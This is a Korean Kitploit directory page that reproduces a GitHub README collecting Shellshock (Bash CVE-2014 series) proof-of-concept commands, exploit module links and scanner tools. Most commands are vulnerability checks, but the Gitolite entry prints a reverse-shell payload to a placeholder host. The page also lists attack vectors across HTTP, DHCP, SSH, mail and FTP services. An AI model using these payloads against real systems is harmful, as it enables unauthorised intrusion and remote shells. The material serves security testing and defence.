Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
shellshocker-pocs — #ShellShocker를 위한 PoC 및 잠재적 대상 모음 | Kitploit
도구/GitHubGitHub/mubix/shellshocker-pocs
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCurated Resources
GitHubmubix/shellshocker-pocs

shellshocker-pocs

#ShellShocker를 위한 PoC 및 잠재적 대상 모음

저장소 보기
8891906년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Shellshocker - "Shellshock" 개념 증명 코드 저장소

=================

#ShellShocker를 위한 개념 증명(PoC) 및 잠재적 대상 모음

Wikipedia 링크: https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29#CVE-2014-7186_and_CVE-2014-7187_Details

더 많은 링크나 다른 리소스가 있으면 풀 리퀘스트를 제출해 주세요.

추정:(미확인, 취약할 가능성 있음)

  • XMPP(ejabberd)
  • Mailman - 취약하지 않음으로 확인됨
  • MySQL
  • NFS
  • Bind9
  • Procmail 참조
  • Exim 참조
  • Juniper Google 검색inurl:inurl:/dana-na/auth/url_default/welcome.cgi
    • 출처: https://twitter.com/notsosecure/status/516132301025984512
    • 출처: http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10648&actp=RSS
  • Cisco 장비
    • 출처: http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash
  • FreePB / Asterix 여기서 패치됨

이 중 어떤 것에 대한 PoC를 알고 있다면 링크와 함께 이슈 또는 풀 리퀘스트를 제출해 주세요.

명령줄 (Linux, OSX 및 Cygwin을 통한 Windows)

  • bashcheck - 최신 취약점을 테스트하는 스크립트

CVE-2014-6271

  • env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id

CVE-2014-7169

취약한 경우 현재 작업 디렉터리에 날짜가 포함된 echo라는 파일을 생성합니다.

  • env X='() { (a)=>\' bash -c "echo date"; cat echo

CVE-2014-7186

  • bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"

CVE-2014-7187

  • (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"

CVE-2014-6278

  • env X='() { _; } >_[$($())] { echo CVE-2014-6278 vulnerable; id; }' bash -c :
  • 추가 정보: http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html

CVE-2014-6277

취약한 경우 세그폴트(segfault)가 발생합니다.

  • env X='() { x() { _; }; x() { _; } <<a; }' bash -c :
  • fulldisclosure에서의 추가 논의: http://seclists.org/fulldisclosure/2014/Oct/9
  • 추가 정보: http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html

IBM z/OS -

  • http://mainframed767.tumblr.com/post/98446455927/bad-news-is-it-totally-works-in-bash-on-z-os-and

HTTP

  • Metasploit 공격 모듈 - Apache mod_cgi Bash 환경 변수 코드 삽입 (Shellshock)
  • Metasploit 공격 모듈 - Advantech 스위치 Bash 환경 변수 코드 삽입 (Shellshock)
  • Metasploit 공격 모듈 - IPFire Bash 환경 변수 삽입 (Shellshock)
  • @irsdl의 HTTP 헤더 오염 - http://pastebin.com/QNkf7dYS
  • HTTP CGI-BIN - http://pastebin.com/166f8Rjx
  • cPanel - http://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high-risk.html
  • Digital Alert Systems DASDEC - http://seclists.org/fulldisclosure/2014/Sep/107
  • F5 - https://twitter.com/securifybv/status/515035044294172673
    • https://twitter.com/securifybv/status/515035044294172673/photo/1
    • https://twitter.com/avalidnerd/status/515056463589675008
      • https://twitter.com/avalidnerd/status/515056463589675008/photo/1
  • Invisiblethreat.ca - https://www.invisiblethreat.ca/2014/09/cve-2014-6271/
  • 명령줄 버전 - https://gist.github.com/mfadzilr/70892f43597e7863a8dc
  • LiveHTTPHeaders를 사용한 User-Agent 기반 워크스루 - http://www.lykostech.net/lab-time-exploiting-shellshock-bash-bug-virtual-server/
  • Burp를 사용한 User-Agent 기반 워크스루 - http://oleaass.com/shellshock-proof-of-concept-reverse-shell/

Phusion Passenger

  • https://news.ycombinator.com/item?id=8369776

DHCP

  • Tftpd32를 통한 Trusted sec 공격 - https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
  • Metasploit 공격 모듈 - Dhclient Bash 환경 변수 삽입 (Shellshock)
  • Metasploit 보조 모듈 - https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/server/dhclient_bash_env.rb
  • Perl 스크립트 - http://pastebin.com/S1WVzTv9
  • Wi-Fi 파인애플을 사용해 사람들을 네트워크에 강제로 접속시키기 - http://d.uijn.nl/?p=32

SSH

  • Stack Overflow - http://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh
  • SSH ForcedCommand - https://twitter.com/JZdziarski/status/515205581226123264
    • https://twitter.com/JZdziarski/status/515205581226123264/photo/1
  • SendEnv: LC_X='() { :; }; echo vulnerable' ssh [email protected] -o SendEnv=LC_X
  • Gitolite - https://twitter.com/Grifo/status/515089986161766400
    • $ ssh GITOLITEUSER@VULNERABLEIP '() { ignore;}; /bin/bash -i >& /dev/tcp/REVERSESHELLIP/PORT 0>&1'
    • (서버에 git 계정이 있어야 함)

OSX

  • VMware Fusion을 통한 권한 상승 - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/vmware_bash_function_root.rb
  • 수정: http://support.apple.com/kb/DL1769

OSX - 역방향 DNS 사용 (CVE-2014-3671.txt)

  • CVE-2014-6271 예제가 포함된 예제 존 파일: in-addr.arpa
  • setenv()에 전달하는 getnameinfo()가 포함된 예제 파일: osx-rev-ptr.c
  • 위 내용에 대한 설명이 포함된 권고문 CVE-2014-3671.txt

SIP

  • SIP 프록시: https://github.com/zaf/sipshock

Qmail

  • 상세 워크스루 - http://marc.info/?l=qmail&m=141183309314366&w=2
  • @ymzkei5의 트윗 - http://twitter.com/ymzkei5/status/515328039765307392
    • http://twitpic.com/ec3615
    • http://twitpic.com/ec361o

Postfix

  • http://packetstormsecurity.com/files/128572/postfixsmtp-shellshock.txt

FTP

  • Pure-FTPd: https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc
  • Metasploit 공격 모듈 - Pure-FTPd 외부 인증 Bash 환경 변수 코드 삽입 (Shellshock)

OpenVPN

  • OpenVPN - https://news.ycombinator.com/item?id=8385332
  • @fj33r의 PoC 워크스루 - http://sprunge.us/BGjP

Oracle

  • 경보 및 영향을 받는 제품 목록

TMNT

  • https://twitter.com/SynAckPwn/status/514961810320293888/photo/1

Hand

  • 출처: @DJManilaIce - http://pastie.org/9601055
root@kitploit:~
user@localhost:~$ env X='() { (a)=>\' /bin/bash -c "shellshocker echo -e \"           __ __\n          /  V  \ \n     _    |  |   |\n    / \   |  |   |\n    |  |  |  |   |\n    |  |  |  |   |\n    |  |__|  |   |\n    |  |  \  |___|___\n    |  \   |/        \ \n    |   |  |______    |\n    |   |  |          |\n    |   \__'   /     |\n    \        \(     /\n     \             /\n      \|            |\n\""; cat shellshocker
/bin/bash: X: line 1: syntax error near unexpected token `='
/bin/bash: X: line 1: `'
/bin/bash: error importing function definition for `X'
           __ __
          /  V  \ 
     _    |  |   |
    / \   |  |   |
    |  |  |  |   |
    |  |  |  |   |
    |  |__|  |   |
    |  |  \  |___|___
    |  \   |/        \ 
    |   |  |______    |
    |   |  |          |
    |   \__'   /     |
    \        \(     /
     \             /
      \|            |

CUPS

  • Metasploit 공격 모듈 - CUPS 필터 Bash 환경 변수 코드 삽입

IRC

  • Metasploit 공격 모듈 - Xdh / LinuxNet Perlbot / fBot IRC 봇 원격 코드 실행
  • Metasploit 공격 모듈 - Legend Perl IRC 봇 원격 코드 실행

@primalsec의 스크립트

  • shell_shocker.py - 알려진 취약한 URL과 상호작용하여 명령을 전달하는 데 유용 (User-Agent 방식)
  • w3af_shocker.py - w3af 스파이더/shell_shock 스캔 실행 과정을 자동화 (User-Agent 방식)
  • shell_sprayer.py - 파일의 URL 목록 또는 단일 URL을 알려진 cgi-bin 리소스 목록과 대조하여 검사 (User-Agent 방식)
도구 다운로드
  • User-Agent 기반이지만 Tor 및 Socks5를 지원 (Python) - https://github.com/lnxg33k/misc/blob/master/shellshock.py
  • Ruby로 작성된 User-Agent 기반 - https://github.com/securusglobal/BadBash
  • 멀티스레드를 지원하는 sleep 기반의 간단한 헤더 스캐너 - https://github.com/gry/shellshock-scanner
  • shocker - 파일의 URL 목록 또는 단일 URL을 알려진 취약 CGI 리소스 목록(Content-type 방식)과 대조하여 검사
  • Xymon - https://lists.xymon.com/archive/2014-September/040350.html
  • QNAP - https://www.exploit-db.com/exploits/36503